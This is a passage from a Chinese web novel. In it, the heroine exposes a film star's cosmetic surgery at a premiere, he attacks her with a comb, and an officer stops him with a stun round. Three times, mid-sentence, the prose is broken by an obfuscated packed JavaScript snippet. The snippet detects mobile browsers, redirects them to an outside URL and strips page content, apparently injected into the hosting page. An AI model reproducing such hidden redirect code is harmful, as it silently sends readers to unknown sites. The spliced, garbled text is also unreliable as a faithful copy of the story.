“啊?真没想到他是这样的人。”寻夏适时地露出先是惊讶后是嫌恶的复杂神情。 拉蒙忽地凑近,额头几乎要与寻夏相碰,漆黑的双眸被寻夏的身影填满。 他压着嗓子吐出几个字:“真不知道你喜欢他什么。” 他说完起身就走,笑得张扬又恶劣。 寻夏毫不在意地拿手背蹭了蹭额头,她也懒得多解释什么。这次暂且在嘴上放过拉蒙一马,就当感谢拉蒙送来的大八卦了。 真是没想到,“夫人带球跑奔真爱,史密斯公爵追妻火葬场”这出戏里,还有塞缪尔来扮演白月光替身的角色。 她就说搜集八卦有用吧,爱看八卦的女人运气不会太差,故事这不就串起来了。 寻夏放下终端,抬头看向一楼走廊尽头的星海礼堂。 她推开星海礼堂的实木大门时,终端屏幕上显示的时间正好从一点五十九跳到两点。 临渊和主创团队坐在第一排,只露出高低错落的一排后脑勺供大家观看。寻夏认出来,正中间的那颗脑袋是塞缪尔的,他仍然留着那头标志性的棕色卷毛短发。 栗娜在自己身旁帮寻夏留了座位,她捋着裙摆在柔软的座椅上坐下。 主持人在简单的开场过后,宣布首映观影正式开始。穹顶的大灯渐渐暗下来,身侧的交谈也渐渐平息,所有人的目光都汇聚到了正前方的大银幕上。 四个大字显现出来——《时尚先生》。 寻夏在黑暗中撇了撇嘴角,她觉得这个电影名字起得着实是不太时尚。 影片的开场,是塞缪尔扮演的主角,一位名叫亚历山大的应届毕业生,抱着一摞厚厚的时尚杂志,怯生生地站在一家顶级设计工作室的门外。 塞缪尔的脸在特写镜头中被放得很大。他顶着一头凌乱的卷毛,但额前恰到好处地垂下一缕弯弯的碎发;他脸上点了雀斑,位置又刚好能修饰他偏长的中庭——看起来是想扮丑,但又不想让自己真丑。 “我、我是来应聘初级造型设计师这个岗位的。”银幕上的亚历山大结结巴巴地介绍自己,银幕外的栗娜兴奋地一拍寻夏的肩膀。 “诶!主角也是干造型师的!”她用气声和寻夏耳语。 寻夏皮笑肉不笑地点了点头。 又是“造型”,又是“设计”,这未免也太巧了,刚好对应她在栗娜面前编的职业,还有在塞巴斯蒂安面前编的专业。 她想起了临渊早上在图书室里对她说的那一句,“谨言慎行”。他是不是当时就知道今天下午的影片内容了? 寻夏似有所感地转头,对上了坐在右前方的塞巴斯蒂安投来的一瞥。 她的心中升起了一丝隐隐的不安。 14. 首映礼 两个小时的影片,讲述了亚历山大从新人菜鸟到一代大师的蜕变历程。 说实话,故事很老套。看到主角抱着一摞杂志小步快跑,就知道他下一秒要摔跤;看到影片开头的毒舌上司,就知道她会在后期成为点拨主角的贵人。 只有最后一幕,出乎寻夏的意料。 影片最后,年迈的亚历山大站在舞台中央,他过去的无数杰作在身后走马灯般播放。 他平静地说:“我这一生,都在寻找美。” 然后,聚光灯骤然熄灭,银幕内外同时陷入黑暗,影片就这样戛然而止,只剩下余音在耳边回荡。 “结束了诶。你觉得怎么样?”一片漆黑中,栗娜在寻夏耳边轻声发问。 “有点老套。”寻夏保守地答道。 栗娜点头,然后又凑近了几分:“那你觉得,塞缪尔怎么样?” “是演的怎么样,还是——长的怎么样?”寻夏弯起眼睛,拖着话音反问。 “嘿嘿……”栗娜搓搓手,不明说,眼中八卦的小火苗熊熊燃烧。 寻夏知道她想听什么,却故意吊她胃口:“无功无过吧?现在影视制作技术这么发达,表情、眼神、动作都可以后期调整,真的不太好判断呢。” “哎呀,哎呀!不是演技啦,是另外那个,你懂得!”栗娜着急地戳了戳她的手臂,又不想大声直说,只好在黑暗中一通挤眉弄眼。 不过寻夏还没来得及回答,穹顶的灯光就唰地点亮了。 她转头看回前方,主持人重新登场,笑容可掬。原本坐了将近十个人的第一排空了,只剩下坐在最左侧的临渊一个人。 他斜靠在椅背上,单手撑着下巴,没有抬眼,不知道在想些什么。 主持人依次介绍跟在他身后上场的主创团队嘉宾,导演、副导演、制片人、编剧等等一系列顶着光鲜亮丽名号的人物向台下挥手问好。 除了塞缪尔。 塞缪尔没有留在第一排,也没有出现在台上。 观众席中,有一些人在好奇塞缪尔去了哪儿,比如栗娜,没有理会台上人的招呼;有一些人看完电影已经昏昏欲睡,比如拉蒙,懒得理会台上人的招呼;还有一些人怀着心事,比如寻夏,更无心理会台上人的招呼。 掌声稀稀拉拉,但好在在礼堂两侧,还有影片团队安排的媒体记者们。此刻长枪短炮交错,闪光灯此起彼伏,不对准台下,只对准台上,每一台摄影机都抱着必出神图的决心。 例行公事的寒暄过后,主持人将话筒瞄准了导演:“李导,我们都知道,《时尚先生》能在逆位游戏的现场进行首映,无论对影片本身,还是对我们的游戏参与者来说,都是一次非常特别的经历。我很好奇,您为什么会选择将首映放在这里呢?” 那位被称为李导的中年男人抖了抖垂到他膝盖的针织长外套,又推了推没有镜片的黑框眼镜,这才接过话筒。 “《时尚先生》,它不仅仅是一部关于时尚行业的电影。它更深的层次,是关于人的欲望、关于灵魂的成长,也关于我们永恒追求的美。” “而逆位游戏是一个很特殊的场合,它承载了来自下城的欲望,承载了参与者的成长,也承载了美。” 李导的语速缓慢,语调抑扬顿挫,像是在诗朗诵。他念出“欲望”两个字时,带着一种暧昧的、仿佛洞悉人性幽微的腔调。 寻夏在心里翻了个巨大的白眼。 呵呵,自视甚高、假装文艺的文艺工作者。李导完全符合她对文艺男中年的刻板印象。 李导好像认为,只有肮脏落后的下城才会诞生“欲望”。但寻夏从来不觉得有欲望是一件坏事,也不认为野心勃勃是一个贬义词。 有欲望的人得到一切,不争不抢的人失去一切,这是生活教会她的道理。 然而台上的主持人却对李导的大道理眼前一亮,他继续追问:“逆位游戏中的欲望与成长,相信大家都已经深有体会。我好奇的是,李导追求的美,和逆位游戏有什么关联呢?” 李导笑了。 “逆位游戏总是能吸引到不同背景、不同身份的年轻人们参与其中。”他手中转着话筒,眼神精准地落在台下第二排中央,塞巴斯蒂安的脸上,“我今天到现场,发现道格拉斯先生也参加了这场逆位游戏。以优雅闻名的‘月下贵族’道格拉斯,不就是美的最佳代表吗?” 寻夏震撼了,好一通俗不可耐又毫不掩饰的马屁!以她对塞巴斯蒂安的了解,他完全不吃这一套。 果然,塞巴斯蒂安微不可察地皱了皱眉,他觉得恶心,尤其是“月下贵族”这种矫揉造作的所谓美称。 但主持人的反应速度很快,李导话才说了一半,他就已经小跑着到了观众席之中,恭恭敬敬地把话筒举到塞巴斯蒂安的嘴边。 “道格拉斯先生,正如李导所说,您本身就是‘美’的化身。而电影的最后一句台词,是‘我这一生,都在寻找美’,不知道塞巴斯蒂安先生是怎么理解美的呢?” 两侧的媒体调转“枪口”,跃跃欲试,想拍又不敢拍。 礼堂中静了下来,数十道目光汇聚在塞巴斯蒂安身上。寻夏坐直了身体,拉蒙也醒了,此刻正翘着二郎腿歪头,看戏看得津津有味。 “啊啊啊!”栗娜小声尖叫,又问,“你说塞巴斯蒂安会答吗?” 寻夏想了想:“他应该会接过话筒。” 塞巴斯蒂安不喜欢被恭维,更不喜欢被利用,像这样成为话题工具,做影片宣传稿上的噱头。 可是有摄像机在,无论他们有没有开拍,他的姿态都必须无可挑剔,让人挑不出错处。 短暂的沉默过后,他还是主动拿起了主持人手中的话筒。 “谬赞了,愧不敢当。”他沉吟片刻,继续道,“不过这个问题,或许由影片男主角的饰演者来回答会更合适。毕竟他才是导演选中的,美的承载者和传递者。” 好一招祸水东引,但可惜,一个人被捧得越高,就越不敢丢开包袱往下跳。 寻夏轻轻叹了口气。 要是塞巴斯蒂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536341|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安敢在被恭维之后、在大庭广众之下丢掉姿态,向上次怒斥她一样怒斥李导一句“你很没有礼貌”,剧组这会儿就该灰溜溜地回家了。 栗娜听到“男主角”三个字,在一旁啧啧两声。寻夏手指在膝盖上敲了敲,目光转回到了主持人身上。 主持人愣了一瞬,但迅速顺着杆子往上爬,脸上堆满笑容,对着场地观众和媒体镜头,热情高声道:“既然如此——” “塞缪尔就在后台,让我们把他请出来好吗?” 在栗娜噗嗤的笑声中,舞台后方的幕布向上升起。所有人的目光,还有那些原本犹豫不决的媒体镜头,都对准了那位“新世界的最后一块璞玉”,塞缪尔·克罗。 他一头棕色卷毛蓬松地覆在额前,脸上点了雀斑,睫毛很长眼睛很亮。他穿卫衣牛仔裤,身上背着一个斜挎包,里面装了补水喷雾、尖尾梳、卷发棒等等造型用品,是影片开头亚历山大的打扮,少年感十足。 但寻夏一眼就看到了少年的鼻基底。 塞缪尔笑着和大家打招呼,鼻翼两侧的皮肉不是被“牵动”,而是被整块“架起”的,有种微妙的不自然感。 果然看真人,比看修过的照片、视频都要直观。 寻夏举着终端再看一眼,好像哪里还有差别——他的耳朵从正面看能露出半个,和之前照片里露出的一小截不同,疑似耳基底也动了。 她眯了眯眼睛。塞缪尔的情商一般,美商倒是不错,做的都是不动声色的项目,让一般人看不出来哪里有变化,只会觉得他状态变好了,又变帅了。 台上的塞缪尔接过导演递给他的话筒,抱着胸站定:“怎么理解美?我想想——” “影片里的亚历山大,一开始不懂设计,喜欢用夸张猎奇的作品博人眼球。但经过一些挫折,还有贵人的点拨,他的审美渐渐提高,明白了猎奇不等于‘设计感’,才能做出真正有美感的设计。” 寻夏试图从他的回答中提取关键信息,但努力听到最后,发现这根本就是一通毫无信息量的废话。 “不知道道格拉斯先生是否喜欢这个回答?”塞缪尔笑起来,自信满满地对台下散发魅力。 塞巴斯蒂安重新举起话筒:“我的专业是艺术史,虽然也与‘美’有关,但对设计领域的涉猎还是很有限。” 寻夏心里咯噔一下,指甲不自觉掐进了掌心。 “但据我所知,我们现场有一位寻夏小姐是设计专业出身,一起听听她的见解如何?”塞巴斯蒂安回头看向寻夏,向来冷淡的脸上竟然浮现出一个微笑。 笑得让寻夏毛骨悚然。 刹那间,四周其他参与者的目光、列阵两侧的镜头,连同李导略显疑虑的眼神,以及临渊终于抬起的双眸,全都聚焦在她一人身上。 寻夏屏住呼吸,她在短暂的安静中,无比清晰地听见了自己的心跳。 咚咚,咚咚,咚咚。 塞巴斯蒂安是真的想听自己的见解吗? ——还是仍然在怀疑,她的身份是假的? 15. 突变 主持人已经站在寻夏的身旁,话筒精准无误地怼到了她的嘴边。 临渊仍然坐在第一排没有动,也没有回头,只是不再随意靠在座椅上,而是绷直了后背。 一旁的栗娜满脸期待地看着她,兴奋又略带焦急地等待她的回答。 柏砚隔着几个座位,探身看过来,金丝眼镜后的双眼仔细审视着寻夏脸上的神色。 启明坐在寻夏后一排,旁观的冷眼中闪过一丝诧异。她知道寻夏是下城人,她们下城人,怎么可能去学什么闲情逸致的“设计专业”呢? 她很好奇寻夏会如何应对。 寻夏在四面八方的注视中缓缓起身,不紧不慢地捋了捋裙子,才伸手接过话筒。 “感谢道格拉斯先生的认可。”她报以一个波澜不惊的微笑,目光却越过塞巴斯蒂安,落在了台上的塞缪尔身上,“美是抽象的,但设计是具体的。” 至于设计具体是什么,她不知道,也不打算继续深入。她和塞巴斯蒂安不一样,她的脑袋里装的不是理论与主义,而是圈套和诡计。 寻夏轻盈地调转了话锋:“我很好奇,在塞缪尔老师看来,我们造型师、设计师存在的意义是什么?” “我接触过很多设计师,在影片中饰演的也是一位设计师。至于设计师存在的意义,我想想……”塞缪尔笑得灿烂又标准,“是让人变漂亮、变好看,能够收获更多人的喜爱吧。” 他上钩了。 寻夏几乎是紧接着发问:“您是认为,只有足够漂亮、好看,才值得被人喜爱吗?” 塞缪尔脸上的笑容僵硬了一瞬。他瞥了一眼身旁的李导,李导也隐隐听出了不对。台下的女人语气柔和,抛出的问题却是绵里藏针。 李导正想伸手要走塞缪尔手中的话筒,塞缪尔却自作主张地抢先开口了。 “漂亮的、好看的人,总是更容易被更多人喜欢的,不是吗?”他的语速不自觉加快了。 寻夏不点头,不摇头,也没有着急回答。她笑盈盈的眼神扫过塞缪尔的鼻基底,又扫过他的耳基底。 在旁人看来,寻夏只是扫了两眼塞缪尔的脸。但塞缪尔无比敏感,他分毫不差地捕捉到了寻夏在那两个位置刻意的停顿。 他握住话筒的手捏得更紧了。 “那么,”寻夏收回视线,直勾勾地盯住塞缪尔的双眼,“您会因为渴望被爱,而想要变得更漂亮、更好看吗?” 说者无意,听者尚且有心。而此刻说者有意,听者自然更是疑心重重。 塞缪尔的笑容在瞬间消失,不笑的时候,他略微下垂的眼睛看起来甚至有几分凶狠。 针头扎进皮肤的画面,史密斯夫人漠然垂眼看他的神情,不断交替着在他眼前闪动。 周围传来嗡嗡的低语,几乎是所有人都联想到了那个俱含褒贬的名号,“新世界的最后一块璞玉”。 栗娜听出寻夏的话里有话,又看到塞缪尔在霎那间变得难看的脸色,之前寻夏没来得及回答的那个问题,她现在好像得到答案了。 拉蒙睡醒了,冷不丁发出一声怪笑。 气氛陡然急转直下。李导不好直接去抢塞缪尔紧握的话筒,又害怕他一激动说出什么惊世骇俗的话,只好用力清清喉咙,拼命对台下的主持人使眼色。 主持人心中有预感,他的神级救场人生画面即将到来。他反应极快,几乎是飞扑着过去,从寻夏手中抽走了话筒。 “哈哈,大家的讨论真的都很有深度呢!”主持人满脸堆笑,环顾四周,“气氛如此热烈,不如我们就趁热打铁,进入接下来的互动环节吧!” 他没有停顿,向寻夏伸手:“让我们用热烈的掌声邀请寻夏小姐上台,与我们的主创团队进行一个近距离的互动,好不好?” “好。”在仍然稀稀拉拉的掌声中,寻夏回答。 她微笑欠身,跟着主持人上了台。众人目光的焦点还是她,但想必此刻还记得她是“设计专业出身”的人,已经不剩几个。 最能迅速转移他人注意力的内容,就是那些似是而非的八卦,比如塞缪尔的整容疑云。 她成功了。 寻夏穿过过道,从临渊身边经过。临渊动了动身子,紧绷的后背略略放松下来。 塞巴斯蒂安端正坐在座椅上,望向她的目光若有所思。 寻夏依照主持人的指引,在舞台中央站定。塞缪尔和李导一左一右将她夹在中间,她点头向二人致意,笑容无毒无害,仿佛刚才的暗流涌动只是他们的错觉。 主持人见她配合,暗暗松了口气,热情洋溢地开始介绍互动环节的内容。 “我们都知道,戏中主角亚历山大经历了从青涩到成熟的蜕变,无论是心境还是造型!”主持人手臂一挥,舞台两侧的工作人员推着移动衣架和梳妆台上场,“所以,在戏外,我们今天的互动游戏就是——打造‘时尚先生’!” 寻夏顺着他的动作看过去,衣架上挂满了风格各异、五花八门的服装,梳妆台上整齐码放着各种各样的大牌化妆品,称得上是琳琅满目。 “大家应该都发现了吧?塞缪尔老师目前的造型是初出茅庐的新人亚历山大,而寻夏小姐,您的任务就是,利用我们现场提供的服装和造型工具,为塞缪尔老师设计一套属于大师亚历山大的造型!” 原来所谓互动就是给塞缪尔做造型啊,这她擅长。 塞缪尔又重新扬起了标准的营业假笑,不过只是冲着台下,连半个眼神都没有分给寻夏。 寻夏先前紧绷的神经松懈下来,视线掠过身侧这位明明紧绷却要强装松弛的男顶流,她忽然升起了一点恶作剧的心思。 “我很乐意尝试,就是不知道能否让塞缪尔老师满意。” 塞缪尔主动在梳妆台前坐下,作出“请”的手势:“按你的想法来。”虽然是在和寻夏说话,但他仍然没有看她。 寻夏在心底轻笑一声,顺手把塞缪尔的座椅转到面朝台下的方向。然后走到梳妆台前,熟练地挑拣起来。 她率先拿起的,是一支修容笔:“塞缪尔老师,请闭眼。” 塞缪尔依言闭上眼,但微微上扬的唇角却有些僵硬。 寻夏在他眉骨与鼻骨连接的位置画了两个圆弧,一边用指腹拍开,一边解说:“后期的亚历山大褪去了稚嫩,骨骼感会更强,轮廓需要更鲜明一些。” 接着,她拿着笔在塞缪尔的鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536342|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼两侧,也就是鼻基底的位置,精准地落下一左一右两条阴影线。 “随着年纪增长,气质沉淀下来,”她还是用指腹拍开,不过力道比刚刚重了不少,几乎是刻意地在按压这个有猫腻的部位,“会有一点自然的、彰显阅历的法令纹痕迹。” 主持人连连点头捧场。 塞缪尔倏地睁眼,与近在咫尺的寻夏对视,眼中戾色在瞬间浮现,又在下一秒被吞没。 寻夏神情无辜,恍若未觉。她放下修容笔,视线四下转了转,瞄准了塞缪尔背在身上的那只斜挎包。 她伸手,从斜挎包中抽出尖尾梳,还拿出了一盒发泥。 “蓬松的卷发学生气比较重,还会显得发质毛躁。作为大师的亚历山大需要换个发型。”寻夏说着,用梳子沾了发泥,将塞缪尔精心打理的卷发全部向后梳去,露出他完整的额头,还有完整的耳朵。 “背头的造型相对成熟,也更能凸显塞缪尔老师完美的骨相。”她故意加重了“完美”二字的咬字。 没了发型的修饰,塞缪尔特地调整过的耳朵支棱在面颊两侧,反而有些违和,像一对招风耳。 他嘴角的假笑都快要维持不住了。 眼眶凹陷、法令纹,还有凌厉的脸部线条!寻夏的每一个动作,都让他升起一阵强烈的屈辱,都在提醒着他,他有多厌恶这样的自己。 他不想要成熟,也不想要什么骨骼感、什么岁月的沉淀。他要饱满、稚嫩、年轻,他要永远年轻! 要像史密斯夫人十八岁时的初恋那样年轻。 塞缪尔的眼神彻底变了,但正在一旁低声交谈的主持人和李导没有看到,站在他身前的寻夏也没有看到。 寻夏两指夹着尖尾梳,回头对着台下伸长脖子看热闹的观众们笑道:“大家觉得呢?塞缪尔老师现在是不是很有才子精英的气质?” “嗯……都有点像那种专门针对富太太的高段位杀猪盘了呢。” “噗——”台下不知道是谁没忍住笑出了声。 富太太,富太太,富太太!塞缪尔额角的青筋不受控制地疯狂跳动。 ——史密斯夫人。 塞缪尔的脸涨得通红。他哐当顶开椅子,猛地站起来,死死攥住了寻夏握着梳子的右手。 寻夏只觉得手腕剧痛,一股大力拽着她的手调转方向,尖锐的金属梳尾正对着她的太阳穴狠狠扎去! “啊!”栗娜霍然起身,只来得及迸出一声尖锐的惊呼。 变故来的突然,一切不过电光火石之间。 寻夏的身体比大脑反应得更快,她努力想要松开手,让梳子自由落体,可塞缪尔的五指就像铁钳,攥着她的手不得动弹。 就在寒芒即将扎破她皮肤的刹那——砰! 炸响的破空声撕裂了礼堂的混乱。 一颗亮着白光的麻痹弹从枪口飞出,划过一道漂亮的弧线,利落地击中了塞缪尔的手腕。 子弹瞬间炸开,在他的腕间铺成一张洁白的网,将他的力道尽数卸去。 塞缪尔的手腕软软垂下,寻夏终于能够松开手指,尖尾梳当啷一声砸在地上。 她猛然转头,与台下那人对上了目光。 16. 摊牌 临渊放下平举的右臂,还在冒烟的枪口指向地板。 他抬眼紧盯着台上的寻夏,大步上前,喉结上下滚动。 寻夏胸口起伏不定,下意识伸手摸向自己的太阳穴。指尖碰到皮肤,传来细微的刺痛和一点湿意,应该只是划破了皮,没什么大事。 她抿着嘴深吸了几口气,心跳渐渐平复下来。 “小夏你没事吧!”栗娜用手肘顶开乱哄哄的人群,急急忙忙向台上跑来。寻夏远远冲她摆了摆手。 临渊快她几步,长腿一迈就跨上了舞台。他扳着塞缪尔的肩膀把他甩到一边,自己挡在了寻夏身前。 “你,你就是一个游戏的监察官,有什么资格动手伤人?!”李导见塞缪尔垂着头一动不动,慌了神,“警/察!保安!我要报警了啊!” 他撞上临渊冷冰冰的眼神,不由自主地向后退了一步。 台下议论纷纷,台上一时间鸦雀无声。主持人本来还想张口说点什么缓和气氛,但很快他便意识到,现在这个情况,根本就不会有人在意他说了什么。他蓦地把嘴闭上了。 “临渊长官……”寻夏从临渊背后挪出半步,哑着嗓子叫了一声,一副惊魂未定的样子。 “仲裁者第三席。”临渊终于开口,嗓音低沉,“教廷圣卫队队长,临渊。” 李导原本指着他鼻子的手放下了,他又向后退了一步,神情呆滞。 临渊挑眉问他:“现在有资格了吗?” 这下,不仅台上鸦雀无声,台下的游戏参与者、媒体记者也通通安静了。 教廷仲裁者一共有五人,分管教廷不同方面的事务,在教廷内部的地位仅在大导师之下。 而教廷圣卫队又很特殊,这支队伍是教廷的武装力量,同时又拥有独立于合议政府公安系统的执法权。虽然日常活动大多集中在下城,负责维持下城的基本秩序,但理论上,他们的权限也同样覆盖高高在上的天际城。 拉蒙换了条腿翘二郎腿,嘴角撇得老高。他一直看不惯临渊,但又不得不承认,这家伙确实有点实力有点背景,不是什么好惹的。 临渊居高临下地直视李导的双眼,李导向后退一步,他便往前迈一步。制服靴落在地上,荡开威压的闷响。 “如遇紧急情况,圣卫队有权力动用相关手段,制止任何危害公共安全或公民人身安全的行为。”他加重了捏在塞缪尔肩头的力道,他知道塞缪尔是清醒的。“塞缪尔·克罗,在众目睽睽之下持锐器伤人,而我及时出手制止。” “李先彬,你是觉得这有什么问题吗?” 李先彬,是李导的全名。他脸上出了汗,眼镜滑落到鼻尖,却没想起来要扶。 “……没问题。”李先彬终于从牙缝里挤出几个字,脸色青一阵红一阵,早些时候的文青风度和嚣张气焰都荡然无存。 但寻夏不在意李先彬,她仰起一点下巴,望向临渊标致的侧脸。 寻夏印象里的临渊,一直是少言寡语的。这还是她第一次听他说这么一番长篇大论,如疾风骤雨一般,来势汹汹又掷地有声。 原本星光闪耀的剧组,此刻已经成了落汤的鹌鹑,一个个蔫头耷脑,不敢作声。台下的媒体还有大着胆子端相机拍照的,被临渊眼风扫过,也都讪讪地盖上了镜头盖。 临渊环视一圈,收回了视线,继而转头对身后的寻夏低声道:“伤口怎么样?” 寻夏刚刚特地忍住半分钟没眨眼睛,现在抬起眼来,水光盈盈,看起来楚楚可怜。 她摊开沾了血痕的五指,轻声回答:“有点疼,但应该不要紧。” 塞缪尔听到这句话,垂在身侧的手动了动。他掀开眼皮,投来阴沉的一瞥。 临渊的眉头皱了一下。额角的那一线暗红,在她雪白的皮肤上显得格外刺眼。 “我带你去处理。”他压着嗓子说完,随即转过身,对着台下高声道,“首映发布会到此结束,游戏参与者可以自行退场休息。” 话虽然这么说,但大家你看我,我看你,没有人打算就这么早早离开。 塞巴斯蒂安笔直杵在台下,有些茫然地看着寻夏五指上的红痕。他在怀疑,之前把话题抛给寻夏,是不是他做错了。 拉蒙经过他身侧,砰地撞上塞巴斯蒂安单薄的肩。他心里很烦躁,像烧着一团火,但他搞不清楚是为了什么。 “请各位媒体朋友删除一切照片、视频,”临渊顿了顿,继续道,“今天发生的恶性事件,圣卫队会跟进处理。” 话音落下,礼堂大门打开,身穿教廷制服的卫兵鱼贯入场,和他们一起出现的,还有第一天负责签到的那位侍应生。也不知道临渊是什么时候联系的这些人。 卫兵小跑着上台,从临渊手底下接过塞缪尔,将他的双手反剪在背后。临渊手上得了空,抓着寻夏的手腕就要走,她连忙出声叫停:“等等。” 寻夏握住他的手臂,让他松开手:“等等,我还有一个问题,想问塞缪尔老师。” 临渊绷着脸,退开半步。 塞缪尔被强壮的卫兵压得弯腰弓背,闻言竟然抬起脸,绽开一个笑容:“你要问我什么?你不是什么都知道吗?” “你会被我激怒,是因为你觉得我在一次又一次地暗示你整了容,是这样吗?”寻夏看着他,脸上还是那副无辜的受害者神情,眼底却划过一丝恶意。 “你到底想说什么。”塞缪尔的笑容淡了下去。 栗娜在台下紧张地屏住了呼吸,她觉得寻夏好像想搞个大的。那些迟迟没有离开的参与者们,还有尴尬的、无所适从的媒体记者,也纷纷竖起了耳朵。 “塞缪尔老师如果认为我在造谣,大可以找律师起诉我。我看你在社交平台上也发过不少律师函,应该很熟悉这套流程了吧?”寻夏露出一点真切的疑惑,没有等他回答,紧接着道,“但你没有告我,而是要杀我,为什么呢?” “我要杀你?”塞缪尔瞪大了眼睛反问。他当时只是想在寻夏脸上恶狠狠地划一道,报复回去,并不是真的想捅进她的太阳穴。 他最多也就是个疯子,不是傻子,做不出在大庭广众之下杀人的事。而且,他不信寻夏感觉不出他用力的方向。 她是故意这么说的。 寻夏根本不理会他,自顾自地说下去:“是因为我无意间泄露了什么秘密吗?” “让我想想……是你整容的秘密,还是富太太、杀猪盘的——” 塞缪尔的吼声打断了她:“够了!” 台上台下,所有的脑袋都像是向日葵追寻太阳一样,齐刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548826|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷转向了塞缪尔的方向。 “是,我整容了。”他几乎脱口而出。 倒吸凉气声此起彼伏地响起,连缀成抑扬顿挫、连绵不断的一片。 “你满意了吧,”塞缪尔先是瞪着寻夏,又扭过脖子瞪遍了前后左右的一圈人,“你们满意了吧!” 寻夏捂住脑袋,踉跄往后退了两步,像是被他疯狂的样子吓了一跳。 临渊见状,连忙拽住她的手腕,生怕她一个腿软摔倒:“走吧,我先带你去处理伤口。” “好,谢谢临渊长官。”寻夏终于应下,任由他牵着自己往外走。 “哎小夏小夏,我陪你一起去!”栗娜才从震惊中缓过劲来,临渊和寻夏已经走远了。 她连忙想要追上去,却看到寻夏对她温柔地摇了摇头。 “没关系的,很快就好。”她的声音隐约传来,栗娜又恰好撞上临渊拧眉看过来的一眼,顿住了脚步。 寻夏说完,低下头将脸藏进阴影里,嘴角勾起一个冷笑。 她本来没想把事情闹得这么大的。 最开始,她只是想借塞缪尔的八卦,转移塞巴斯蒂安为她引来的不必要的关注。 再然后,她只是动了恶作剧的心思,想暗暗恶心塞缪尔一下,让他疑神疑鬼、担惊受怕、几天睡不好觉而已。 所以她给塞缪尔做了一个他不喜欢的造型,又多调侃了他两句,可是没想到,塞缪尔居然想对她动手。 那就别怪她不留情面了,毕竟他失去的只是名声,但她失去的可是血浆和血细胞啊! “外伤,你进去简单睡一觉,醒来就能痊愈。”临渊的声音在耳边响起。寻夏抬头,眼前是一台纯白色、胶囊形状的医疗舱。 他替她打开舱门,医疗舱内部翻腾的白雾溢出来,小小的医疗室里顿时充满了湿意。 寻夏有些好奇地打量,这是她没有体验过的先进设备。 下城人民还在使用淳朴的碘伏加酒精来应对皮外伤,和下城比起来,天际城的科技树显然已经进化到了外星人的水平。 她伸腿迈进去,躺下前,又探头出来:“临渊长官,请问今晚的放逐选举……?” “照常进行。”临渊的长睫颤了颤,“邮件应该已经发到你的邮箱了。” “那舱门合拢之后,还可以看终端吗?” “可以。”临渊一边回答,一边扣上了舱门。 在浸润全身的柔和白雾中,寻夏从口袋里抽出了终端。 【第一次放逐选举】 「今日活动预告:第一次放逐选举 活动时间:18:00-20:00 活动地点:梅尔森城堡一楼大厅 活动规则: 一、每位玩家都拥有一票,请把票投给你认为最有可能是赝品的玩家,也可以选择弃权。 二、五人一组进行投票,投票时可进行留言。每组投票结束后,会统一更新全体玩家得票情况与留言内容。 三、最终得票最多的玩家,需要公布身份,然后离开游戏。 四、离开的玩家需要支付至今为止参与所有活动的相关费用。 关于谁是赝品,你的心中是否已经有了答案?当夜幕降临,请做好准备,也做出你的选择。」 17. 放逐 今晚就要诞生第一位“赝品”了,不过寻夏并不紧张。 毕竟昨天运动会的时候,安德雷是一块多么亮眼的靶子,这放逐的第一枪,怎么都不至于打到她身上。 ——嗯,应该不至于吧? 她要做的只是观察局势、推波助澜,然后在恰当的时机煽风点火,最后隔岸观火,坐享其成。 对,就是这样。 寻夏闭上眼收起终端,忽略了心底那一丝莫名的不安。 白雾的触感温暖湿润,像是躺在棉花或是云朵里。正好今天起得早,如此美妙的环境,不好好睡一觉的话,简直对不起她额角擦破的那层油皮。 等寻夏从婴儿般的安详睡眠中苏醒,时间已经不知不觉过去了一个小时。 她伸出指尖碰了碰受伤的位置,新长出的皮肤触感又滑又嫩。不仅睡眠如婴儿般安详,皮肤也如婴儿般崭新。 她忽然想到,如果脸部大面积受损的人躺进这医疗舱,不就相当于做了一次皮肤美容? 寻夏摇摇头,把这个天才的想法晃出了脑袋,然后打开舱门起身。 现在是五点四十多,距离放逐选举正式开始还有不到二十分钟,她收拾收拾下楼,时间正合适。 她在楼梯上远远望去,一楼大厅已是人声鼎沸。三三两两的人群聚集在长桌旁,或站或坐,聊得热火朝天。 可是当寻夏迈下最后一级台阶,踏入大厅的时候,鼎沸的人声像是被推倒的多米诺骨牌,由近及远、一点一点地消退,退成了嗡嗡的蚊子细语。 几乎所有人的目光都陆续投射过来,精准地落在她身上,其中有她熟悉的面孔,也有她陌生的面孔。 怎么回事? 寻夏稳住嘴角的半永久微笑,也稳住脚步,在众人的注目礼之下,向着小幅度朝她招手的栗娜走去。 